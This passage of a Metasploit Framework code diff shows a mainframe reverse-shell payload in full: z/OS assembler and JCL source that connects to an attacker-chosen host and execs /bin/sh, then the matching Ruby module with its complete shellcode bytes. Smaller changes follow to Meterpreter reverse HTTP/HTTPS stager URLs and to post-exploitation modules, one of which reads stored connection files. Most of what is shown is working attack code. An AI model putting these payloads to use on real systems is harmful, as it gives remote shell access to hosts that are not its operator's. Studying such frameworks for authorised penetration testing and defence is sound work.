" LA 5,0(6,13)\n" +
" AHI 5,-4\n" +
" OI 0(5),X'80' # last parm first bit high\n" +
"@FIN1 BALR 14,15 # call function\n" +
" L 14,8(,13) # set up return address\n" +
" BCR 15,14 # return to caller\n" +
"@FIX AHI 5,4 # need extra byte skipped for exec\n" +
" BRC 15,@RETX\n" +
"\n" +
"***********************************************************************\n" +
"* Arg Arrays, Constants and Save Area *\n" +
"***********************************************************************\n" +
" DS 0F\n" +
"*************************\n" +
"**** Func Names ****\n" +
"*************************\n" +
"@@F1 DC CL8'BPX1SOC '\n" +
"@@F2 DC CL8'BPX1CON '\n" +
"@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" +
"@@FC1 DC CL8'BPX1FCT '\n" +
"* # BPX1EXC Constants\n" +
"EXARG1 DC CL2'sh' # arg 1 to exec\n" +
"* # BPX1CON Constants\n" +
"SSTR DC X'100202PPPPaaaaaaaa'\n" +
"* # BPX1EXC Arguments\n" +
"EXCPRM1 DS 0F # actual parm list of exec call\n" +
"EXCMDL DC F'7' # len of cmd to exec\n" +
"EXCMD DC CL7'/bin/sh' # command to exec\n" +
"*********************************************************************\n" +
"******* Below this line is filled in runtime, but at compile ********\n" +
"******* is all zeroes, so it can be dropped from the shell- *********\n" +
"******* code as it will be dynamically added back and the ***********\n" +
"******* offsets are already calulated in the code *******************\n" +
"*********************************************************************\n" +
"ZEROES DS 0F # 51 4 byte slots\n" +
"EXARGC DC F'0' # num of arguments\n" +
"EXARGS DC 10XL4'00000000' # reminaing exec args\n" +
"EXARG1L DC F'0' # arg1 length\n" +
"* # BPX1FCT Arguments\n" +
"@FFD DC F'0' # file descriptor\n" +
"@ACT DC F'0' # fnctl action\n" +
"@ARG DC F'0' # argument to fnctl\n" +
"@RETFD DC F'0' # fd return\n" +
"FR1 DC F'0' # rtn code\n" +
"FR2 DC F'0' # rsn code\n" +
"* # BPX1SOC Arguments\n" +
"DOM DC F'0' # AF_INET = 2\n" +
"TYPE DC F'0' # sock stream = 1\n" +
"PROTO DC F'0' # protocol ip = 0\n" +
"DIM DC F'0' # dim_sock = 1\n" +
"CLIFD DC F'0' # client file descriptor\n" +
"SR1 DC F'0' # rtn val\n" +
"SR2 DC F'0' # rtn code\n" +
"SR3 DC F'0' # rsn code\n" +
"* # BPX1CON Arguments\n" +
"CLIFD2 DC F'0' # CLIFD\n" +
"SOCKLEN DC F'0' # length of Sock Struct\n" +
"SRVSKT DC XL2'0000' # srv socket struct\n" +
" DC XL2'0000' # port\n" +
" DC XL4'00000000' # RHOST 0.0.0.0\n" +
"CR1 DC F'0' # rtn val\n" +
"CR2 DC F'0' # rtn code\n" +
"CR3 DC F'0' # rsn code\n" +
"SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" +
"EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" +
" END MAIN\n" +
"ZZ\n" +
"//REVSHL JOB (USER),'Reverse shell jcl',\n" \
"// NOTIFY=&SYSUID,\n" \
"// MSGCLASS=H,\n" \
"// MSGLEVEL=(1,1),\n" \
"// REGION=0M\n" \
"//**************************************/\n" \
"//* Generates reverse shell */\n" \
"//**************************************/\n" \
"//*\n" \
"//STEP1 EXEC PROC=ASMACLG\n" \
"//SYSIN DD *,DLM=ZZ\n" \
" TITLE 'z/os Reverse Shell'\n" \
"NEWREV CSECT\n" \
"NEWREV AMODE 31\n" \
"NEWREV RMODE 31\n" \
"***********************************************************************\n" \
"* SETUP registers and save areas *\n" \
"***********************************************************************\n" \
"MAIN LR 7,15 # R7 is base register\n" \
" NILH 7,X'1FFF' # ensure local address\n" \
" USING MAIN,0 # R8 for addressability\n" \
" DS 0H # halfword boundaries\n" \
" LA 1,ZEROES(7) # address byond which should be all 0s\n" \
" XC 0(204,1),0(1) # clear zero area\n" \
" LA 13,SAVEAREA(7) # address of save area\n" \
" LHI 8,8 # R8 has static 8\n" \
" LHI 9,1 # R9 has static 1\n" \
" LHI 10,2 # R10 has static 2\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1SOC set up socket *\n" \
"***********************************************************************\n" \
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \
" LA 3,8 # n parms\n" \
" LA 5,DOM(7) # Relative addr of First parm\n" \
" ST 10,DOM(7) # store a 2 for AF_INET\n" \
" ST 9,TYPE(7) # store a 1 for sock_stream\n" \
" ST 9,DIM(7) # store a 1 for dim_sock\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1CON (connect) connect to rmt host *\n" \
"***********************************************************************\n" \
"BCON L 5,CLIFD(7) # address of client file descriptor\n" \
" ST 5,CLIFD2(7) # store for connection call\n" \
"*** main processing **\n" \
" LA 1,SSTR(7) # packed socket string\n" \
" LA 5,CLIFD2(7) # dest for our sock str\n" \
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \
" LA 0,@@F2(7) # USS callable svcs connect\n" \
" LA 3,6 # n parms for func call\n" \
" LA 5,CLIFD2(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"*************************************************\n" \
"* Preparte the child pid we'll spawn *\n" \
"* 0) Dupe all 3 file desc of CLIFD *\n" \
"* 1) dupe parent read fd to std input *\n" \
"*************************************************\n" \
" LHI 11,2 # Loop Counter R11=2\n" \
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \
"@RET1 AHI 11,-1 # Decrement R11\n" \
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \
"\n" \
"***********************************************************************\n" \
"* BPX1EXC (exec) execute /bin/sh *\n" \
"***********************************************************************\n" \
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \
"******************************************\n" \
"**** load array of addr and constants ***\n" \
"******************************************\n" \
" ST 10,EXARG1L(7) # arg 1 len is 2\n" \
" LA 2,EXARG1L(7) # addr of len of arg1\n" \
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \
" LA 2,EXARG1(7) # addr of arg1\n" \
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \
" ST 9,EXARGC(7) # store 1 in ARG Count\n" \
"**************************************************************\n" \
"*** call the exec function the normal way ********************\n" \
"**************************************************************\n" \
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" \
" LA 3,13 # n parms\n" \
" LA 5,EXCPRM1(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
"\n" \
"***********************************************************************\n" \
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \
"***********************************************************************\n" \
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \
" ST 8,@ACT(7) # 8 is our dupe2 action\n" \
" L 5,CLIFD(7) # client file descriptor\n" \
" ST 5,@FFD(7) # store as fnctl argument\n" \
" ST 11,@ARG(7) # fd to clone\n" \
" LA 3,6 # n parms\n" \
" LA 5,@FFD(7) # src parm list addr\n" \
" LA 15,CLORUN(7) # address of generic load & run\n" \
" BASR 14,15 # Branch to load & run\n" \
" BRC 15,@RET1 # Return to caller\n" \
"\n" \
"***********************************************************************\n" \
"* LOAD and run R0=func name, R3=n parms *\n" \
"* R5 = src parm list *\n" \
"***********************************************************************\n" \
"CLORUN ST 14,8(,13) # store ret address\n" \
" XR 1,1 # zero R1\n" \
" SVC 8 # get func call addr for R0\n" \
" ST 0,12(13) # Store returned addr in our SA\n" \
" L 15,12(13) # Load func addr into R15\n" \
" LHI 6,20 # offset from SA of first parm\n" \
" LA 1,0(6,13) # start of dest parm list\n" \
"@LOOP2 ST 5,0(6,13) # store parms address in parm\n" \
" AHI 3,-1 # decrement # parm\n" \
" CIJ 3,11,8,@FIX # haky fix for EXEC func\n" \
"@RETX AHI 6,4 # increment dest parm addr\n" \
" AHI 5,4 # increment src parm addr\n" \
" CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" \
" LA 5,0(6,13)\n" \
" AHI 5,-4\n" \
" OI 0(5),X'80' # last parm first bit high\n" \
"@FIN1 BALR 14,15 # call function\n" \
" L 14,8(,13) # set up return address\n" \
" BCR 15,14 # return to caller\n" \
"@FIX AHI 5,4 # need extra byte skipped for exec\n" \
" BRC 15,@RETX\n" \
"\n" \
"***********************************************************************\n" \
"* Arg Arrays, Constants and Save Area *\n" \
"***********************************************************************\n" \
" DS 0F\n" \
"*************************\n" \
"**** Func Names ****\n" \
"*************************\n" \
"@@F1 DC CL8'BPX1SOC '\n" \
"@@F2 DC CL8'BPX1CON '\n" \
"@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" \
"@@FC1 DC CL8'BPX1FCT '\n" \
"* # BPX1EXC Constants\n" \
"EXARG1 DC CL2'sh' # arg 1 to exec\n" \
"* # BPX1CON Constants\n" \
"SSTR DC X'100202PPPPaaaaaaaa'\n" \
"* # BPX1EXC Arguments\n" \
"EXCPRM1 DS 0F # actual parm list of exec call\n" \
"EXCMDL DC F'7' # len of cmd to exec\n" \
"EXCMD DC CL7'/bin/sh' # command to exec\n" \
"*********************************************************************\n" \
"******* Below this line is filled in runtime, but at compile ********\n" \
"******* is all zeroes, so it can be dropped from the shell- *********\n" \
"******* code as it will be dynamically added back and the ***********\n" \
"******* offsets are already calulated in the code *******************\n" \
"*********************************************************************\n" \
"ZEROES DS 0F # 51 4 byte slots\n" \
"EXARGC DC F'0' # num of arguments\n" \
"EXARGS DC 10XL4'00000000' # reminaing exec args\n" \
"EXARG1L DC F'0' # arg1 length\n" \
"* # BPX1FCT Arguments\n" \
"@FFD DC F'0' # file descriptor\n" \
"@ACT DC F'0' # fnctl action\n" \
"@ARG DC F'0' # argument to fnctl\n" \
"@RETFD DC F'0' # fd return\n" \
"FR1 DC F'0' # rtn code\n" \
"FR2 DC F'0' # rsn code\n" \
"* # BPX1SOC Arguments\n" \
"DOM DC F'0' # AF_INET = 2\n" \
"TYPE DC F'0' # sock stream = 1\n" \
"PROTO DC F'0' # protocol ip = 0\n" \
"DIM DC F'0' # dim_sock = 1\n" \
"CLIFD DC F'0' # client file descriptor\n" \
"SR1 DC F'0' # rtn val\n" \
"SR2 DC F'0' # rtn code\n" \
"SR3 DC F'0' # rsn code\n" \
"* # BPX1CON Arguments\n" \
"CLIFD2 DC F'0' # CLIFD\n" \
"SOCKLEN DC F'0' # length of Sock Struct\n" \
"SRVSKT DC XL2'0000' # srv socket struct\n" \
" DC XL2'0000' # port\n" \
" DC XL4'00000000' # RHOST 0.0.0.0\n" \
"CR1 DC F'0' # rtn val\n" \
"CR2 DC F'0' # rtn code\n" \
"CR3 DC F'0' # rsn code\n" \
"SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" \
"EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" \
" END MAIN\n" \
"ZZ\n" \
"//*\n"
}))
end
# replace our own LPORT/LHOST
def replace_var(raw, name, offset, pack)
super
if( name == 'LHOST' and datastore[name] )
if name == 'LHOST' && datastore[name]
val = Rex::Socket.resolv_nbo(datastore[name])
val = val.unpack("H*")[0]
raw[offset, val.length] = val
return true
elsif(name == 'LPORT' and datastore[name] )
elsif name == 'LPORT' && datastore[name]
val = datastore[name]
val = val.to_s(16).rjust(4,'0')
val = val.to_s.to_i.to_s(16).rjust(4, '0')
raw[offset, val.length] = val
return true
else

View File

@ -7,14 +7,12 @@
#
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/mainframe_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 339
include Msf::Payload::Single
@ -39,30 +37,30 @@ module MetasploitModule
'Offsets' =>
{
'LPORT' => [ 321, 'n' ],
'LHOST' => [ 323, 'ADDR' ],
'LHOST' => [ 323, 'ADDR' ]
},
'Payload' =>
"\x18\x7f\xa5\x76\x1f\xff\x41\x17\x01\x54\xd7\xcb\x10\x00\x10\x00" +
"\x41\xd7\x01\xd8\xa7\x88\x00\x08\xa7\x98\x00\x01\xa7\xa8\x00\x02" +
"\x41\x07\x01\x1c\x41\x30\x00\x08\x41\x57\x01\x9c\x50\xa7\x01\x9c" +
"\x50\x97\x01\xa0\x50\x97\x01\xa8\x41\xf7\x00\xcc\x0d\xef\x58\x57" +
"\x01\xac\x50\x57\x01\xbc\x41\x17\x01\x3e\x41\x57\x01\xbc\xd2\x08" +
"\x50\x07\x10\x00\x41\x07\x01\x24\x41\x30\x00\x06\x41\x57\x01\xbc" +
"\x41\xf7\x00\xcc\x0d\xef\xa7\xb8\x00\x02\xa7\xf4\x00\x1e\xa7\xba" +
"\xff\xff\xec\xb7\xff\xfc\xff\x7e\x41\x17\x01\x48\x50\xa7\x01\x80" +
"\x41\x27\x01\x80\x50\x20\x10\x10\x41\x27\x01\x3c\x50\x20\x10\x14" +
"\x50\x97\x01\x54\x41\x07\x01\x2c\x41\x30\x00\x0d\x41\x57\x01\x48" +
"\x41\xf7\x00\xcc\x0d\xef\x41\x07\x01\x34\x50\x87\x01\x88\x58\x57" +
"\x01\xac\x50\x57\x01\x84\x50\xb7\x01\x8c\x41\x30\x00\x06\x41\x57" +
"\x01\x84\x41\xf7\x00\xcc\x0d\xef\xa7\xf4\xff\xd3\x50\xe0\xd0\x08" +
"\x17\x11\x0a\x08\x50\x0d\x00\x0c\x58\xfd\x00\x0c\xa7\x68\x00\x14" +
"\x41\x16\xd0\x00\x50\x56\xd0\x00\xa7\x3a\xff\xff\xec\x38\x00\x14" +
"\x0b\x7e\xa7\x6a\x00\x04\xa7\x5a\x00\x04\xec\x37\xff\xf5\x00\x7e" +
"\x41\x56\xd0\x00\xa7\x5a\xff\xfc\x96\x80\x50\x00\x05\xef\x58\xe0" +
"\xd0\x08\x07\xfe\xa7\x5a\x00\x04\xa7\xf4\xff\xed\xc2\xd7\xe7\xf1" +
"\xe2\xd6\xc3\x40\xc2\xd7\xe7\xf1\xc3\xd6\xd5\x40\xc2\xd7\xe7\xf1" +
"\xc5\xe7\xc3\x40\xc2\xd7\xe7\xf1\xc6\xc3\xe3\x40\xa2\x88\x10\x02" +
"\x02\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x07\x61\x82\x89\x95" +
"\x18\x7f\xa5\x76\x1f\xff\x41\x17\x01\x54\xd7\xcb\x10\x00\x10\x00" \
"\x41\xd7\x01\xd8\xa7\x88\x00\x08\xa7\x98\x00\x01\xa7\xa8\x00\x02" \
"\x41\x07\x01\x1c\x41\x30\x00\x08\x41\x57\x01\x9c\x50\xa7\x01\x9c" \
"\x50\x97\x01\xa0\x50\x97\x01\xa8\x41\xf7\x00\xcc\x0d\xef\x58\x57" \
"\x01\xac\x50\x57\x01\xbc\x41\x17\x01\x3e\x41\x57\x01\xbc\xd2\x08" \
"\x50\x07\x10\x00\x41\x07\x01\x24\x41\x30\x00\x06\x41\x57\x01\xbc" \
"\x41\xf7\x00\xcc\x0d\xef\xa7\xb8\x00\x02\xa7\xf4\x00\x1e\xa7\xba" \
"\xff\xff\xec\xb7\xff\xfc\xff\x7e\x41\x17\x01\x48\x50\xa7\x01\x80" \
"\x41\x27\x01\x80\x50\x20\x10\x10\x41\x27\x01\x3c\x50\x20\x10\x14" \
"\x50\x97\x01\x54\x41\x07\x01\x2c\x41\x30\x00\x0d\x41\x57\x01\x48" \
"\x41\xf7\x00\xcc\x0d\xef\x41\x07\x01\x34\x50\x87\x01\x88\x58\x57" \
"\x01\xac\x50\x57\x01\x84\x50\xb7\x01\x8c\x41\x30\x00\x06\x41\x57" \
"\x01\x84\x41\xf7\x00\xcc\x0d\xef\xa7\xf4\xff\xd3\x50\xe0\xd0\x08" \
"\x17\x11\x0a\x08\x50\x0d\x00\x0c\x58\xfd\x00\x0c\xa7\x68\x00\x14" \
"\x41\x16\xd0\x00\x50\x56\xd0\x00\xa7\x3a\xff\xff\xec\x38\x00\x14" \
"\x0b\x7e\xa7\x6a\x00\x04\xa7\x5a\x00\x04\xec\x37\xff\xf5\x00\x7e" \
"\x41\x56\xd0\x00\xa7\x5a\xff\xfc\x96\x80\x50\x00\x05\xef\x58\xe0" \
"\xd0\x08\x07\xfe\xa7\x5a\x00\x04\xa7\xf4\xff\xed\xc2\xd7\xe7\xf1" \
"\xe2\xd6\xc3\x40\xc2\xd7\xe7\xf1\xc3\xd6\xd5\x40\xc2\xd7\xe7\xf1" \
"\xc5\xe7\xc3\x40\xc2\xd7\xe7\xf1\xc6\xc3\xe3\x40\xa2\x88\x10\x02" \
"\x02\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x07\x61\x82\x89\x95" \
"\x61\xa2\x88"
}))
end

View File

@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options'
module MetasploitModule
CachedSize = 26778
CachedSize = 26803
include Msf::Payload::Single
include Msf::Payload::Php::ReverseTcp

View File

@ -35,7 +35,7 @@ module MetasploitModule
def generate_reverse_http(opts={})
opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({
http_url: generate_callback_url(opts),
http_url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port]

View File

@ -36,7 +36,7 @@ module MetasploitModule
opts[:scheme] = 'https'
opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({
http_url: generate_callback_url(opts),
http_url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port]

View File

@ -30,13 +30,13 @@ module MetasploitModule
def generate_jar(opts={})
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
# TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_java, uri_req_len)

View File

@ -36,7 +36,7 @@ module MetasploitModule
uri_req_len = 5
end
url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
# TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_java, uri_req_len)

View File

@ -41,7 +41,7 @@ module MetasploitModule
def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't know available space
if self.available_space.nil?
@ -53,8 +53,8 @@ module MetasploitModule
c << "Spawn=#{spawn}\n"
c << "URL=http://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/"
c << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len)
c << "#{luri}"
c << generate_uri_uuid_mode(:init_java, uri_req_len)
c << "\n"
c

View File

@ -57,6 +57,7 @@ module MetasploitModule
c << "Spawn=#{spawn}\n"
c << "URL=https://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "#{luri}"
c << generate_uri_uuid_mode(:init_java, uri_req_len)
c << "\n"

View File

@ -116,7 +116,7 @@ class MetasploitModule < Msf::Post
end
else
if pass_file
if not ::File.exists?(pass_file)
if not ::File.exist?(pass_file)
print_error("Wordlist File #{pass_file} does not exists!")
return
end

View File

@ -43,7 +43,7 @@ class MetasploitModule < Msf::Post
# gnome-commander connections file
connections_file = "#{dir}/.gnome-commander/connections"
if file?(connections_file)
#File exists
#File.exist
begin
str_file=read_file(connections_file)
print_good("File found: #{connections_file}")

Some files were not shown because too many files have changed in this diff Show More